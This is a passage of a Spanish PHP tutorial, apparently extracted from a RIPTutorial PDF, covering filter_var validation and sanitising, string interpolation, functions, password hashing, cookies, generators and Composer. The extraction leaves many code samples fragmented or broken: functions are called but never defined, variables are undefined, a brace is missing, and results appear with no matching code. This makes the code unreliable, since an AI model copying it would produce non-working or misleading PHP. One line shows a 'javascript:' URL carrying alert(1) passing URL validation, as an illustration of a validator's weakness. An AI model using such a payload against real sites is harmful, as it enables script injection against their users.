string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
bool(false)
URL: http://www.example.com/path/to/dir/index.php?test=y
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
Resultados:
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
var_dump(filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL));
// string(31) "javascript://comment%0Aalert(1)"
Desinfectar filtros
Podemos usar filtros para desinfectar nuestra variable de acuerdo a nuestra necesidad.
Ejemplo
$string = "<p>Example</p>";
$newstring = filter_var($string, FILTER_SANITIZE_STRING);
var_dump($newstring); // string(7) "Example"
https://riptutorial.com/es/home 222
Lo anterior eliminará las etiquetas html de la variable $string .
var_dump(filter_var(1, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT));
Resultados
float(1)
float(1)
float(1)
float(1.00001)
float(1)
float(1)
https://riptutorial.com/es/home 223
float(1)
float(1.00001)
bool(false)
bool(false)
bool(false)
bool(false)
float(1)
float(1)
float(1)
float(1.00001)
float(1)
float(1)
float(1)
float(1.00001)
float(1000)
float(1000)
float(1000)
float(1000.00001)
var_dump(filter_var('FA-F9-DD-B2-5E-0D', FILTER_VALIDATE_MAC));
var_dump(filter_var('DC-BB-17-9A-CE-81', FILTER_VALIDATE_MAC));
var_dump(filter_var('96-D5-9E-67-40-AB', FILTER_VALIDATE_MAC));
var_dump(filter_var('96-D5-9E-67-40', FILTER_VALIDATE_MAC));
var_dump(filter_var('', FILTER_VALIDATE_MAC));
Resultados:
string(17) "FA-F9-DD-B2-5E-0D"
string(17) "DC-BB-17-9A-CE-81"
string(17) "96-D5-9E-67-40-AB"
bool(false)
bool(false)
Elimine todos los caracteres excepto las letras, los dígitos y! # $% & '* + - =? ^ _ `{|} ~ @. [].
var_dump(filter_var('[email protected]', FILTER_SANITIZE_EMAIL));
var_dump(filter_var("!#$%&'*+-=?^_`{|}~.[]@example.com", FILTER_SANITIZE_EMAIL));
var_dump(filter_var('john/@example.com', FILTER_SANITIZE_EMAIL));
var_dump(filter_var('john\@example.com', FILTER_SANITIZE_EMAIL));
var_dump(filter_var('joh [email protected]', FILTER_SANITIZE_EMAIL));
Resultados:
string(16) "[email protected]"
string(33) "!#$%&'*+-=?^_`{|}~.[]@example.com"
string(16) "[email protected]"
string(16) "[email protected]"
https://riptutorial.com/es/home 224
string(16) "[email protected]"
Desinfectar enteros
Eliminar todos los caracteres, excepto los dígitos, el signo más y el signo menos.
var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(-1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(+1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(+1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(-1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var("!#$%&'*+-=?^_`{|}~@.[]0123456789abcdefghijklmnopqrstuvwxyz",
FILTER_SANITIZE_NUMBER_INT));
Resultados:
string(1) "1"
string(2) "-1"
string(1) "1"
string(1) "1"
string(1) "1"
string(2) "-1"
string(1) "1"
string(2) "-1"
string(2) "+1"
string(3) "100"
string(4) "+100"
string(4) "-100"
string(1) "1"
string(2) "-1"
string(2) "+1"
string(12) "+-0123456789"
Desinfectar URL
URLs de Sanitze
Elimine todos los caracteres excepto letras, dígitos y $ -_. +! * '(), {} | \ ^ ~ [] `<> #%"; /?: @ & =
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_SANITIZE_URL));
var_dump(filter_var("http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-
=?^_`{|}~.[]", FILTER_SANITIZE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=a b c',
FILTER_SANITIZE_URL));
https://riptutorial.com/es/home 225
Resultados:
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(72) "http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]"
string(53) "http://www.example.com/path/to/dir/index.php?test=abc"
Desinfectar flotadores
var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT));
Resultados:
string(1) "1"
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(4) "1000"
string(5) "10000"
string(8) "10000000"
string(9) "100000001"
string(9) "18281-009"
https://riptutorial.com/es/home 226
Resultados:
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(5) "1,000"
string(6) "1,0000"
string(9) "1,0000000"
string(10) "1,00000001"
string(9) "18281-009"
Resultados:
string(1) "1"
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(4) "1000"
string(5) "10000"
string(8) "10000000"
string(9) "100000001"
string(10) "18281e-009"
Validar direcciones IP
var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP));
var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP));
https://riptutorial.com/es/home 227
var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP));
var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP));
Resultados:
string(13) "185.158.24.24"
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
string(11) "192.168.0.1"
string(9) "127.0.0.1"
Resultados:
string(13) "185.158.24.24"
bool(false)
string(11) "192.168.0.1"
string(9) "127.0.0.1"
Resultados:
bool(false)
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
bool(false)
bool(false)
Resultados:
string(13) "185.158.24.24"
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
https://riptutorial.com/es/home 228
bool(false)
string(9) "127.0.0.1"
Resultados:
string(13) "185.158.24.24"
bool(false)
string(11) "192.168.0.1"
bool(false)
https://riptutorial.com/es/home 229
Capítulo 46: Formato de cadena
Examples
Extracción / sustitución de subcadenas.
Los caracteres individuales se pueden extraer mediante la sintaxis de matriz (corchete cuadrado)
y la sintaxis de corchete. Estas dos sintaxis solo devolverán un solo carácter de la cadena. Si se
necesita más de un carácter, se requerirá una función, es decir, substr
Las cadenas también se pueden cambiar de un carácter a la vez con la misma sintaxis de
corchete y corsé. Reemplazar más de un carácter requiere una función, es decir, substr_replace
Interpolación de cuerdas
También puede utilizar la interpolación para interpolar ( insertar ) una variable dentro de una
cadena. La interpolación funciona solo en cadenas entre comillas y la sintaxis heredoc.
$name = 'Joel';
// Single Quotes: outputs $name as the raw text (without interpreting it)
echo 'Hello $name, Nice to see you.'; # Careful with this notation
#> "Hello $name, Nice to see you."
El formato de sintaxis compleja (rizado) proporciona otra opción que requiere que ajuste su
variable entre llaves {} . Esto puede ser útil cuando incrusta variables dentro del contenido textual
https://riptutorial.com/es/home 230
y ayuda a prevenir una posible ambigüedad entre el contenido textual y las variables.
$name = 'Joel';
// Example using the curly brace syntax for the variable $name
echo "<p>We need more {$name}s to help us!</p>";
#> "<p>We need more Joels to help us!</p>"
La sintaxis {} solo interpola las variables que comienzan con $ en una cadena. La sintaxis {} no
evalúa expresiones PHP arbitrarias.
Sin embargo, la sintaxis {} evalúa el acceso a la matriz, el acceso a la propiedad y las llamadas a
funciones / métodos en variables, elementos de la matriz o propiedades:
// Example of invoking a Closure — the parameter list allows for custom expressions
$greet = function($num) {
return "A $num greetings!";
};
echo "From us all: {$greet(10 ** 3)}";
#> "From us all: A 1000 greetings!"
https://riptutorial.com/es/home 231
Observe que el signo de $ dólar puede aparecer después de la llave de apertura { como en los
ejemplos anteriores, o, como en Perl o Shell Script, puede aparecer delante de él:
$name = 'Joel';
// Example using the curly brace syntax with dollar sign before the opening curly brace
echo "<p>We need more ${name}s to help us!</p>";
#> "<p>We need more Joels to help us!</p>"
La Complex (curly) syntax no se llama como tal porque es compleja, sino más bien
porque permite el uso de ' expresiones complejas '. Leer más sobre Complex (curly)
syntax
https://riptutorial.com/es/home 232
Capítulo 47: Funciones
Sintaxis
• function func_name ($ parametersName1, $ parametersName2) {code_to_run (); }
• function func_name ($ optionalParameter = default_value) {code_to_run (); }
• function func_name (type_name $ parametersName) {code_to_run (); }
• function & returns_by_reference () {code_to_run (); }
• function func_name (& $ referenceParameter) {code_to_run (); }
• function func_name (... $ variadicParameters) {code_to_run (); } // PHP 5.6+
• function func_name (type_name & ... $ varRefParams) {code_to_run (); } // PHP 5.6+
• function func_name (): return_type {code_To_run (); } // PHP 7.0+
Examples
Uso básico de la función
function hello($name)
{
print "Hello $name";
}
hello("Alice");
Parámetros opcionales
hello('Alice');
// Good Day Alice
https://riptutorial.com/es/home 233
hello('Alice', 'Australian');
// G'day Alice
Los argumentos de la función se pueden pasar "Por referencia", lo que permite a la función
modificar la variable utilizada fuera de la función:
function pluralize(&$word)
{
if (substr($word, -1) == 'y') {
$word = substr($word, 0, -1) . 'ies';
} else {
$word .= 's';
}
}
$word = 'Bannana';
pluralize($word);
print $word;
// Bannanas
function addOneDay($date)
{
$date->modify('+1 day');
}
print $date->format('Y-m-d');
// 2014-03-01
Para evitar la transferencia implícita de un objeto por referencia, debe clone el objeto.
Pasar por referencia también se puede utilizar como una forma alternativa de devolver
parámetros. Por ejemplo, la función socket_getpeername :
Este método en realidad apunta a devolver la dirección y el puerto del par, pero como hay dos
valores para devolver, elige usar parámetros de referencia en su lugar. Se puede llamar así:
https://riptutorial.com/es/home 234
1. ser definido como null primero,
2. luego pasa a la función con el valor null predefinido
3. luego modificado en la función
4. terminan definidos como la dirección y el puerto en el contexto de llamada.
5.6
PHP 5.6 introdujo listas de argumentos de longitud variable (también conocidos como varargs,
argumentos variadic), usando el token ... antes del nombre del argumento para indicar que el
parámetro es variadic, es decir, es una matriz que incluye todos los parámetros suministrados
desde ese en adelante.
El operador & reference se puede agregar antes de ... , pero después del nombre de tipo (si
corresponde). Considera este ejemplo:
class Foo{}
function a(Foo &...$foos){
$i = 0;
foreach($a as &$foo){ // note the &
$foo = $i++;
}
}
$a = new Foo;
$c = new Foo;
$b =& $c;
a($a, $b);
var_dump($a, $b, $c);
Salida:
int(0)
int(1)
int(1)
Por otro lado, una matriz (o Traversable ) de argumentos se puede desempaquetar para pasar a
una función en forma de una lista de argumentos:
var_dump(...hash_algos());
https://riptutorial.com/es/home 235
Salida:
string(3) "md2"
string(3) "md4"
string(3) "md5"
...
var_dump(hash_algos());
Salida:
array(46) {
[0]=>
string(3) "md2"
[1]=>
string(3) "md4"
...
}
Por lo tanto, las funciones de redireccionamiento para funciones variad ahora se pueden hacer
fácilmente, por ejemplo:
Además de las matrices, también se pueden usar los Traversable , como Iterator (especialmente
muchas de sus subclases de SPL). Por ejemplo:
• En PHP 5.6:
Se mostrará un error fatal de agotamiento de la memoria ("Tamaño de memoria
○
https://riptutorial.com/es/home 236
intento se mostrará un mensaje de advertencia "Sólo se pueden desempaquetar los
contenedores".
Alcance de la función
Las variables dentro de las funciones están dentro de un ámbito local como este.
$number = 5
function foo(){
$number = 10
return $number
}
foo(); //Will print 10 because text defined inside function is a local variable
https://riptutorial.com/es/home 237
Capítulo 48: Funciones de hash de
contraseña
Introducción
A medida que los servicios web más seguros evitan el almacenamiento de contraseñas en
formato de texto plano, los lenguajes como PHP proporcionan varias funciones hash (no
descifrables) para admitir el estándar de la industria más seguro. Este tema proporciona
documentación para el hashing adecuado con PHP.
Sintaxis
• string password_hash ( string $password , integer $algo [, array $options ] )
• boolean password_verify ( string $password , string $hash )
• boolean password_needs_rehash ( string $hash , integer $algo [, array $options ] )
• array password_get_info ( string $hash )
Observaciones
Antes de PHP 5.5, puede usar el paquete de compatibilidad para proporcionar las funciones
password_* . Se recomienda encarecidamente que utilice el paquete de compatibilidad si puede
hacerlo.
Nota: si usa PHP 5.5 o una versión inferior, está usando una versión no compatible de
PHP que ya no recibe actualizaciones de seguridad. Actualice tan pronto como sea
posible, puede actualizar sus hashes de contraseña posteriormente.
Selección de algoritmo
Algoritmos seguros
• bcrypt es su mejor opción siempre que use el estiramiento de teclas para aumentar el
tiempo de cálculo del hash, ya que hace que los ataques de fuerza bruta sean
extremadamente lentos .
• argon2 es otra opción que estará disponible en PHP 7.2 .
Algoritmos inseguros
Los siguientes algoritmos de hashing son inseguros o no aptos para el propósito y, por lo tanto
, no deben utilizarse . Nunca fueron adecuados para el hashing de contraseñas, ya que están
https://riptutorial.com/es/home 238
diseñados para resúmenes rápidos en lugar de hashes de contraseñas lentas y difíciles de
aplicar.
Si utiliza alguno de ellos , incluso las sales, debe cambiar a uno de los algoritmos de seguridad
recomendados lo antes posible .
Algunos algoritmos pueden usarse de manera segura como algoritmo de resumen de mensajes
para probar la autenticidad, pero nunca como algoritmo de hashing de contraseña :
• SHA-2
• SHA-3
Tenga en cuenta que los hashes fuertes como SHA256 y SHA512 son ininterrumpidos y robustos,
sin embargo, en general es más seguro usar las funciones hash bcrypt o argon2 , ya que los
ataques de fuerza bruta contra estos algoritmos son mucho más difíciles para las computadoras
clásicas.
Examples
Determine si un hash de contraseña existente puede actualizarse a un
algoritmo más fuerte
Si está utilizando el método PASSWORD_DEFAULT para permitir que el sistema elija el mejor algoritmo
para cifrar sus contraseñas, ya que la fuerza predeterminada aumenta, es posible que desee
volver a borrar las contraseñas antiguas a medida que los usuarios inician sesión
<?php
// first determine if a supplied password is valid
if (password_verify($plaintextPassword, $hashedPassword)) {
// now determine if the existing hash was created with an algorithm that is
// no longer the default
if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) {
https://riptutorial.com/es/home 239
usarlo para crear el hash original en un método similar al siguiente:
<?php
if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) {
echo 'Algorithm is Bcrypt';
// the "cost" determines how strong this version of Bcrypt is
preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches);
$cost = $matches[1];
echo 'Bcrypt cost is '.$cost;
}
?>
Cree hashes de contraseñas utilizando password_hash() para usar el hash estándar o la derivación
de claves más recomendables de la industria. Al momento de escribir, el estándar es bcrypt , lo
que significa que PASSWORD_DEFAULT contiene el mismo valor que PASSWORD_BCRYPT .
$options = [
'cost' => 12,
];
El valor del 'cost' debe elegirse en función del hardware de su servidor de producción.
Incrementarlo hará que la contraseña sea más costosa de generar. Cuanto más costoso es
generar, más tiempo tomará cualquiera que intente descifrarlo para generarlo también. Lo ideal es
que el costo sea lo más alto posible, pero en la práctica debe establecerse para que no disminuya
la velocidad demasiado. En algún lugar entre 0.1 y 0.4 segundos estaría bien. Utilice el valor
predeterminado si tiene dudas.
5.5
En PHP inferior a 5.5.0, las funciones password_* no están disponibles. Debe usar el paquete de
compatibilidad para sustituir esas funciones. Tenga en cuenta que el paquete de compatibilidad
requiere PHP 5.3.7 o superior o una versión que $2y solución de $2y fixport (como la que
proporciona RedHat).
https://riptutorial.com/es/home 240
$salt = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM);
$salt = base64_encode($salt);
// crypt uses a modified base64 variant
$source = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$dest = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$salt = strtr(rtrim($salt, '='), $source, $dest);
$salt = substr($salt, 0, 22);
// `crypt()` determines which hashing algorithm to use by the form of the salt string
// that is passed in
$hashedPassword = crypt($plaintextPassword, '$2y$10$'.$salt.'$');
}
Un salt es algo que se agrega a la contraseña antes de hacer hashing para hacer que la cadena
fuente sea única. Dadas dos contraseñas idénticas, los hashes resultantes también serán únicos,
porque sus sales son únicas.
Una sal aleatoria es una de las piezas más importantes de la seguridad de su contraseña. Esto
significa que incluso con una tabla de búsqueda de hashes de contraseña conocida, un atacante
no puede hacer coincidir el hash de contraseña del usuario con los hashes de contraseña de la
base de datos, ya que se ha utilizado un salt aleatorio. Debes usar sales siempre aleatorias y
criptográficamente seguras. Lee mas
Con password_hash() bcrypt algorithm, la sal de texto sin formato se almacena junto con el hash
resultante, lo que significa que el hash se puede transferir a través de diferentes sistemas y
plataformas y aún puede compararse con la contraseña original.
7.0
Incluso cuando esto no se recomienda, puede usar la opción de salt para definir su propia sal
aleatoria.
$options = [
'salt' => $salt, //see example below
];
Importante Si omite esta opción, password_hash () generará un valor aleatorio de sal para cada
hash de contraseña. Este es el modo de operación previsto.
7.0
La opción salt ha sido desaprobada a partir de PHP 7.0.0. Ahora se prefiere usar simplemente la
sal que se genera de forma predeterminada.
https://riptutorial.com/es/home 241
es la función incorporada provista (a partir de PHP 5.5) para verificar la validez de una contraseña
contra un hash conocido.
<?php
if (password_verify($plaintextPassword, $hashedPassword)) {
echo 'Valid Password';
}
else {
echo 'Invalid Password.';
}
?>
Todos los algoritmos de hash admitidos almacenan información que identifica qué hash se usó en
el hash mismo, por lo que no es necesario indicar con qué algoritmo está utilizando para codificar
la contraseña de texto simple.
<?php
// not guaranteed to maintain the same cryptographic strength of the full `password_hash()`
// implementation
if (CRYPT_BLOWFISH == 1) {
// `crypt()` discards all characters beyond the salt length, so we can pass in
// the full hashed password
$hashedCheck = crypt($plaintextPassword, $hashedPassword);
if ($status === 0) {
echo 'Valid Password';
}
else {
echo 'Invalid Password';
}
}
?>
https://riptutorial.com/es/home 242
Capítulo 49: Galletas
Introducción
Una cookie HTTP es una pequeña porción de datos enviados desde un sitio web y almacenados
en la computadora del usuario por el navegador web del usuario mientras el usuario está
navegando.
Sintaxis
• bool setcookie( string $name [, string $value = "" [, int $expire = 0 [, string $path = ""
[, string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]]]] )
Parámetros
parámetro detalle
Una marca de tiempo de Unix que representa cuándo debe expirar la cookie. Si
se establece en cero, la cookie caducará al final de la sesión. Si se establece
expirar
en un número menor que la marca de tiempo actual de Unix, la cookie
caducará inmediatamente.
Especifica que la cookie solo debe estar disponible a través del protocolo HTTP
httponly / S y no debe estar disponible para lenguajes de script del lado del cliente como
JavaScript. Solo disponible en PHP 5.2 o posterior.
https://riptutorial.com/es/home 243
Observaciones
Vale la pena señalar que la mera invocación de la función setcookie no solo pone los datos dados
en la matriz superglobal $_COOKIE .
El valor aún no está allí, no hasta la próxima página de carga. La función setcookie simplemente
dice " con la siguiente conexión http le dice al cliente (navegador) que configure esta cookie ".
Luego, cuando los encabezados se envían al navegador, contienen este encabezado de cookie.
Luego, el navegador comprueba si la cookie no ha caducado, y si no, entonces, en la solicitud
http, envía la cookie al servidor y ahí es cuando PHP la recibe y coloca el contenido en la matriz
$_COOKIE .
Examples
Configuración de una cookie
Se establece una cookie utilizando la función setcookie() . Dado que las cookies son parte del
encabezado HTTP, debe configurar las cookies antes de enviar cualquier salida al navegador.
Ejemplo:
setcookie("user", "Tom", time() + 86400, "/"); // check syntax for function params
Descripción:
El valor de una cookie se puede recuperar utilizando la variable global $_COOKIE . ejemplo, si
tenemos una cookie llamada user , podemos recuperarla de esta manera
https://riptutorial.com/es/home 244
echo $_COOKIE['user'];
setcookie("user", "John", time() + 86400, "/"); // assuming there is a "user" cookie already
Las cookies son parte del encabezado HTTP, por setcookie() que se debe llamar a
setcookie() antes de enviar cualquier salida al navegador.
Use la función isset() sobre la variable superglobal $_COOKIE para verificar si una cookie está
configurada.
Ejemplo:
// PHP <7.0
if (isset($_COOKIE['user'])) {
// true, cookie is set
echo 'User is ' . $_COOKIE['user'];
else {
// false, cookie is not set
echo 'User is not logged in';
}
// PHP 7.0+
echo 'User is ' . $_COOKIE['user'] ?? 'User is not logged in';
Para eliminar una cookie, establezca la fecha y hora de caducidad en un tiempo en el pasado.
Esto activa el mecanismo de eliminación del navegador:
https://riptutorial.com/es/home 245
También es una buena idea desactivar el valor $_COOKIE en caso de que la página actual lo use:
unset($_COOKIE['user']);
https://riptutorial.com/es/home 246
Capítulo 50: Generadores
Examples
¿Por qué usar un generador?
Los generadores son útiles cuando necesitas generar una colección grande para iterar más tarde.
Son una alternativa más simple a la creación de una clase que implementa un iterador , que a
menudo es una exageración.
return $array;
}
Todo lo que hace esta función es generar una matriz que está llena de números aleatorios. Para
usarlo, podríamos hacer randomNumbers(10) , lo que nos dará una matriz de 10 números aleatorios.
¿Y si queremos generar un millón de números aleatorios? randomNumbers(1000000) lo hará por
nosotros, pero a un costo de memoria. Un millón de enteros almacenados en una matriz utiliza
aproximadamente 33 megabytes de memoria.
$startMemory = memory_get_usage();
$randomNumbers = randomNumbers(1000000);
<?php
https://riptutorial.com/es/home 247
}
}
Usando un generador, no tenemos que construir una lista completa de números aleatorios para
regresar de la función, lo que lleva a que se use mucho menos memoria.
Un caso de uso común para los generadores es leer un archivo del disco e iterar sobre su
contenido. A continuación se muestra una clase que le permite iterar sobre un archivo CSV. El
uso de memoria para este script es muy predecible y no fluctuará dependiendo del tamaño del
archivo CSV.
<?php
class CsvReader
{
protected $file;
yield $row;
}
return;
}
}
Una declaración de yield es similar a una declaración de retorno, excepto que en lugar de
detener la ejecución de la función y devolverla, el rendimiento devuelve un objeto Generador y
detiene la ejecución de la función del generador.
function gen_one_to_three() {
https://riptutorial.com/es/home 248
for ($i = 1; $i <= 3; $i++) {
// Note that $i is preserved between yields.
yield $i;
}
}
Puede ver que esta función devuelve un objeto Generador al inspeccionar la salida de var_dump :
var_dump(gen_one_to_three())
# Outputs:
class Generator (0) {
}
Valores de rendimiento
El objeto Generador se puede iterar sobre una matriz.
1
2
3
function gen_one_to_three() {
$keys = ["first", "second", "third"];
first: 1
second: 2
third: 3
https://riptutorial.com/es/home 249
Uso de la función send () para pasar valores a un generador
Los generadores están codificados rápidamente y, en muchos casos, son una alternativa delgada
a las implementaciones de iteradores pesados. Con la implementación rápida viene una pequeña
falta de control cuando un generador debe dejar de generar o si debe generar algo más. Sin
embargo, esto se puede lograr con el uso de la función send() , lo que permite a la función de
solicitud enviar parámetros al generador después de cada ciclo.
//Imagining accessing a large amount of data from a server, here is the generator for this:
function generateDataFromServerDemo()
{
$indexCurrentRun = 0; //In this example in place of data from the server, I just send
feedback everytime a loop ran through.
$timeout = false;
while (!$timeout)
{
$timeout = yield $indexCurrentRun; // Values are passed to caller. The next time the
generator is called, it will start at this statement. If send() is used, $timeout will take
this value.
$indexCurrentRun++;
}
https://riptutorial.com/es/home 250
Lea Generadores en línea: https://riptutorial.com/es/php/topic/1684/generadores
https://riptutorial.com/es/home 251
Capítulo 51: Gerente de dependencia del
compositor
Introducción
Composer es el gestor de dependencias más utilizado de PHP. Es análogo a npm en Node, pip
para Python o NuGet para .NET.
Sintaxis
• ruta php / a / composer.phar [comando] [opciones] [argumentos]
Parámetros
Parámetro Detalles
autores Define los autores del proyecto, así como los detalles del autor.
exigir Define las dependencias reales, así como las versiones del paquete.
carga
Define las políticas de carga automática del proyecto.
automática
autoload-dev Define las políticas de carga automática para el desarrollo del proyecto.
Observaciones
La carga automática solo funcionará para las bibliotecas que especifican información de carga
automática. La mayoría de las bibliotecas cumplen y se adherirán a un estándar como PSR-0 o
PSR-4 .
Enlaces Útiles
• Packagist : navega por los paquetes disponibles (que puedes instalar con Composer).
https://riptutorial.com/es/home 252
• Documentacion oficial
• Guía oficial de introducción
Pocas sugerencias
1. Deshabilita xdebug al ejecutar Composer.
2. No ejecute Composer como root . Los paquetes no son de confianza.
Examples
¿Qué es el compositor?
Composer es un gestor de paquetes / dependencias para PHP. Puede usarse para instalar,
realizar un seguimiento y actualizar las dependencias de su proyecto. Composer también se
encarga de cargar automáticamente las dependencias en las que se basa su aplicación, lo que le
permite usar fácilmente la dependencia dentro de su proyecto sin preocuparse de incluirlas en la
parte superior de cualquier archivo dado.
Este archivo se puede editar manualmente usando cualquier editor de texto o automáticamente a
través de la línea de comandos a través de comandos como el composer require <package> o el
composer require-dev <package> .
Para comenzar a utilizar compositor en su proyecto, deberá crear el archivo composer.json . Puede
crearlo manualmente o simplemente ejecutar el composer init . Después de ejecutar el composer
init en su terminal, le pedirá información básica sobre su proyecto: Nombre del paquete (
proveedor / paquete - por ejemplo, laravel/laravel ), Descripción - opcional , Autor y alguna otra
información como Estabilidad mínima, Licencia y Requisitos Paquetes.
{
"require": {
"composer/composer": "1.2.*"
}
}
Para instalar las dependencias definidas, deberá ejecutar el comando de composer install editor
y, a continuación, encontrará los paquetes definidos que coincidan con la restricción de version
suministrada y los descargará en el directorio del vendor . Es una convención colocar el código de
https://riptutorial.com/es/home 253
un tercero en un directorio llamado vendor .
Un composer.lock archivo es generado automáticamente por Compositor. Este archivo se usa para
rastrear las versiones instaladas actualmente y el estado de sus dependencias. La ejecución de
composer install instalará los paquetes exactamente en el estado almacenado en el archivo de
bloqueo.
Si bien el compositor proporciona un sistema para administrar las dependencias para proyectos
PHP (por ejemplo, de Packagist ), también puede servir notablemente como un cargador
automático, especificando dónde buscar espacios de nombres específicos o incluir archivos de
funciones genéricas.
{
// ...
"autoload": {
"psr-4": {
"MyVendorName\\MyProject": "src/"
},
"files": [
"src/functions.php"
]
},
"autoload-dev": {
"psr-4": {
"MyVendorName\\MyProject\\Tests": "tests/"
}
}
}
Este código de configuración garantiza que todas las clases en el espacio de nombres
MyVendorName\MyProject se asignen al directorio src y todas las clases en
MyVendorName\MyProject\Tests al directorio de tests (en relación con su directorio raíz). También
incluirá automáticamente el archivo functions.php .
